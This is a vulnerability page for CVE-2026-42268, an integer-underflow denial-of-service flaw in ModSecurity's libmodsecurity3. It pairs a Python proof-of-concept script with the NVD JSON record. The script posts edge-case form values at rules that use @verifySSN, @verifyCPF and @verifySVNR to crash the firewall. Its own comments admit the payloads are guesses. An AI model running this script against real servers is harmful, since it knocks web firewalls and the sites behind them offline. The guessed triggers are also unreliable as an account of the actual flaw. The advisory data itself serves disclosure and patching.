CVE-2026-42268

# PoC for CVE-2026-42268 # This script attempts to trigger the integer underflow in ModSecurity # by targeting rules using @verifySSN, @verifyCPF, or @verifySVNR. import requests def trigger_modsecurity_dos(target_url): # The vulnerability is triggered by specific inputs that cause # unsigned integer underflow in libmodsecurity3 validation logic. # Common triggers for underflow in validation functions are empty strings # or strings of specific lengths that fail length checks. # Payloads targeting the specific operators payloads = [ {"ssn_field": ""}, # Empty string for @verifySSN {"cpf_field": "0"}, # Edge case for @verifyCPF {"svnr_field": "1"} # Edge case for @verifySVNR ] headers = { "User-Agent": "CVE-2026-42268-Test-Client", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Attempting to trigger DoS on {target_url}") for payload in payloads: try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # If successful, the WAF might crash, resulting in no response or a backend error print(f"[+] Payload sent: {payload}") print(f" Response Status: {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Timeout occurred. WAF might have crashed (DoS).") except requests.exceptions.ConnectionError: print(f"[!] Connection Error. Service likely unavailable.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:80" trigger_modsecurity_dos(target)

{"cve": {"id": "CVE-2026-42268", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:34.337", "lastModified": "2026-05-14T14:49:57.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::out_of_range) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}, {"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owasp:modsecurity:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.15", "matchCriteriaId": "178F5E0A-CE8A-4CE1-ADE4-326C04A9C6B5"}]}]}], "references": [{"url": "https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-vwr3-7x7g-7p9w", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-vwr3-7x7g-7p9w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}